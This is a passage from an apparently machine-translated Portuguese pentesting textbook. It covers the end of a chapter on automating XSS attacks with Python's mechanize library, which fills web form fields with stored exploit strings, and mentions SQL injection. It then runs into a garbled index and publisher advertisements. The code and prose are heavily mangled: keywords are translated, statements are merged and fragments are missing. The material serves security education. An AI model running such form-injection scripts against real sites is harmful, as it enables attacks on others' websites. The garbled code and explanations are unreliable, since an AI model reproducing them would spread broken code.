Capítulo 7
# br.set_handle_redirect (Falso)
br.set_handle_referer (True) br.set_handle_robots
(False) br.open (URL)
bandeira = ch.lower ()
Este código foi escrito para um site que usa o nome e os comentários de campos. Este pequeno pedaço de
código lhe dará uma idéia de como realizar o ataque XSS. Às vezes, quando você enviar um comentário, o
site irá redirecionar para a página de exibição. É por isso que fazemos um comentário usando o br.set_handle_redirect
(False)
declaração. No código, que armazenou o código de exploração no mohit.xss engavetar arquivo. A declaração para a
forma em br.forms (): irá imprimir o formulário. Ao ver a forma, você pode selecionar o campo de formulário para
atacar. Definir o flag = 'y' variável faz com que o
enquanto laço executar, pelo menos, uma vez. O interessante é que, quando usamos o br.open (url) declaração,
que abriu a URL do site a cada vez, porque, na minha website fictício, eu usei o redirecionamento; isto
significa que após enviar o formulário, ele irá redirecionar para a página de exibição, que exibe os antigos
comentários. o
br.form [n] = 'aaaaaaa' declaração apenas preenche o aaaaaa corda na entrada arquivado. o br.form [ATT] = s [ 'xss']
[p] declaração mostra que o campo selecionado será preenchida pela XSS explorar string. o ch = raw_input (
"Você continuar, pressione y") declaração pede a entrada do usuário para a próxima exploração. Se um usuário
digita y ou Y, ch.lower () torna y, mantendo o enquanto circuito vivo.
[149]
Pentesting de SQLI e XSS
A saída do código
[150]
Capítulo 7
A saída do website
Você pode ver que o código está enviando com sucesso a saída para o site. No entanto, este campo não é
afectada pelo ataque XSS devido à codificação segura em PHP. No final do capítulo, você vai ver a codificação
segura do Comente campo. Agora, execute o código e verificar o campo nome.
[151]
Pentesting de SQLI e XSS
Agora, vamos dar uma olhada no código de xss_data_handler.py, a partir do qual você pode atualizar mohit.xss:
importação prateleira
def create ():
print "Isto apenas para uma chave" s = shelve.open ( "mohit.xss",
write-back = True) s [ 'XSS'] = []
s.sync ()
s.close ()
while (True):
print "Press"
print "C para criar, \ t U para Update, \ t R para recuperar" print "E para a saída" print "*" * 40
[152]
Capítulo 7
Espero que você esteja familiarizado com o código anterior. Agora, olhe para a saída do código anterior:
A saída de xss_data_handler.py
A imagem anterior mostra o conteúdo do mohit.xss Arquivo; a xss.py arquivo é limitado a dois campos. No
entanto, agora vamos olhar para o código que não se limita a dois campos. o xss_list.py arquivo é o seguinte:
importação prateleira
mecanizar importação
br = mechanize.Browser () br.set_handle_robots
(Falso) url = raw_input ( "Enter URL")
br.set_handle_equiv (True) br.set_handle_gzip
(True)
# br.set_handle_redirect (Falso)
br.set_handle_referer (True) br.set_handle_robots
(False) br.open (URL)
[153]
Pentesting de SQLI e XSS
list_a = [] list_n = []
field = int (raw_input ( 'Entre o número de campo "não somente leitura"')) for i in xrange (0, campo):
list_n.append (na)
br.select_form (nr = 0)
bandeira = ch.lower ()
O código anterior tem a capacidade de atacar múltiplos campos ou um único campo. Neste código, usamos
duas listas: list_a e list_n. o list_a lista contém o nome do campo (s) em que você deseja enviar exploits de XSS,
e list_n contém o nome do campo (s) em que você não deseja enviar exploits de XSS. Agora, vamos olhar
para o programa. Se você compreendeu a xss.py programa, você vai notar que fizemos uma alteração xss.py para
criar xss_list.py:
list_a = [] list_n = []
field = int (raw_input ( 'Entre o número de campo "não somente leitura"')) for i in xrange (0, campo):
[154]
Capítulo 7
ch = raw_input ( "Você atacar neste campo imprensa Y? ") if (ch ==" Y" ou ch == "y"):
list_n.append (na)
Já expliquei a importância do list_a [] e list_n []. O domínio variável pergunta ao utilizador para introduzir o
número total de campos de formulário no formulário que não é só de leitura. o for i in xrange (0, campo): declaração
define que o para ciclo irá executar o número total de vezes de campos de formulário. o n / D variável pede que
o usuário digite o nome do campo, eo CH variável pergunta ao utilizador, Você atacar neste campo.
Isso significa que, se você pressionar y ou Y, o campo entrou iria para list_a; caso contrário, ele iria para list_n:
A peça anterior de código é muito fácil de entender. Dois para Dobradiças de duas listas correr até o comprimento de
[155]
Pentesting de SQLI e XSS
A imagem anterior mostra que o número de campos do formulário é dois. O usuário entrou os nomes dos campos de
formulário e fez-lhes campos nonattack. Isso simplesmente verifica o funcionamento do código.
A imagem anterior mostra que o utilizador tenha introduzido o campo de formulário e tornou atacar campos.
[156]
Capítulo 7
A imagem anterior mostra que o código está funcionando bem; as duas primeiras linhas foram preenchidos
com a ordinária aaaaaaa corda. A terceira e quarta linhas foram preenchidas por ataques XSS. Até agora, você
aprendeu como automatizar o ataque XSS. Por validação adequada e filtração, os desenvolvedores web
podem proteger seus sites. Na função PHP, o htmlspecialchars () string pode proteger seu site de um ataque XSS.
Na figura anterior, você pode ver que o comente campo não é afectada por um ataque de XSS. A figura abaixo
mostra a parte de codificação da
comente campo:
Resumo
Neste capítulo, você aprendeu sobre dois tipos principais de ataques na web: injeção SQL e XSS. Na injeção de SQL,
você aprendeu como encontrar a página de login de administrador utilizando script Python. Há lotes de diferentes
consultas para injeção de SQL e, neste capítulo, você aprendeu a decifrar nomes de usuários e senhas baseadas em
tautologia. Em outro ataque de SQLI, você aprendeu a fazer um comentário depois de um nome de usuário válido. No
próximo XSS, você viu como aplicar exploits de XSS ao campo de formulário. No mohit.xss arquivo, você viu como
adicionar mais exploits.
[157]
Índice
Símbolo B
especificações 802.11 bandeira grilagem, website 114-116 Basic Service Set
802.11 86 Identification (BSSID) 85 BeautifulSoup
802.11.a 86
802.11.b 86 URL 114
802.11g 86 usado, para obter informações encontro website
802.11n 86 de SmartWhois 109-113
caixa-preta pentesting 8
UMA injeção SQL blind 137
F
eu
varredura FIN 80
sistema vivo
site baseado em firewall
verificando, em rede 30 scanner de
programa Python, criando 147
IP, criando 37 varredura de ping 30
impressão pé
servidor web 103
caracteres de formato 60-70
nome do domínio qualificado completamente FQDN () 23 M
ataque inundação MAC
G cerca de 98 MAC lógica inundação 100,
101
métodos gerais Tomada
mecanizar, navegador Python 123 Media
socket.recv (bufsize) 12 socket.recvfrom
Access Control (MAC) 86 Mozilla add-on
(bufsize) 12 socket.recvfrom_into (tampão)
Tamper Data
12 socket.recv_into (tampão) 12
socket.sendall (dados) 13 socket.send
URL 126
endereço) 13
N
método 120 GET, 126
dissociação da rede 75, 76 de rede ou
cinzento-caixa pentesting 9
camada IP 63
[160]
sniffer de rede usado, para a implementação de ARP spoofing 71 utilizado,
cerca de 58 para a implementação da rede
caracteres de formato 60 sniffer 58-62 SSID wireless,
implementação, com Python 58-60 encontrando 88-94 análise de tráfego
tomadas de rede 10, 11 de wireless 88-94
teste não destrutivo 8 script Python
nonpersistent (reflectido) 148-157 XSS SQL ataque de injeção 137-147 usado, para a implementação
de varredura TCP 34-36
O
R
ordem por consulta 147 SO
114 fingerprinting tomada em bruto 62
P S
pacote elaborar 70 sistema de 76 a
[161]
socket.gethostbyaddr (iP_address) 24 W
socket.gethostbyname_ex (nome) 22
socket.gethostbyname (host) 22 servidor web
T X
máquina alvo XSS
scanner de porta de scanner 44-46 cerca de 148
varredura
cerca de 34
implementação, por Python roteiro 34-36
testando plataformas, com o Python método
threading.activeCount 10 () 52
você
URL 139
[162]
Obrigado por comprar
Nossos livros e publicações compartilhar as experiências de seus colegas profissionais de TI na adaptação e personalização de
sistemas, aplicativos e estruturas de hoje. Nossos livros baseados em soluções dar-lhe o conhecimento e poder de personalizar o
software e tecnologias que você está usando para fazer o trabalho. livros Packt são mais específicos e menos geral do que os
livros de TI que você já viu no passado. Nosso modelo de negócios exclusivo permite-nos trazer-lhe informações mais focada,
dando-lhe mais do que você precisa saber, e menos sobre o que você não. Packt é uma editora ainda único moderno, que se
concentra na produção de qualidade, livros de ponta para as comunidades de desenvolvedores, administradores e os novatos
igualmente. Para mais informações, por favor visite nosso website em www.packtpub.com.
Nós não estamos apenas à procura de autores publicados; Se você tem fortes habilidades técnicas, mas nenhuma experiência de escrita, os nossos
editores experientes podem ajudá-lo a desenvolver uma carreira de escritor, ou simplesmente obter alguma recompensa adicional para sua perícia.
Avançado teste de penetração para
ambientes altamente seguro [Video]
por favor, verifique www.PacktPub.com para obter informações sobre os nossos títulos
Dominando Kali Linux para Teste de
Invasão Avançada
ISBN: 978-1-78216-312-1 Paperback: 356 páginas
Um guia prático para testar a segurança de sua rede com Kali Linux,
a escolha preferida de testadores de penetração e hackers
por favor, verifique www.PacktPub.com para obter informações sobre os nossos títulos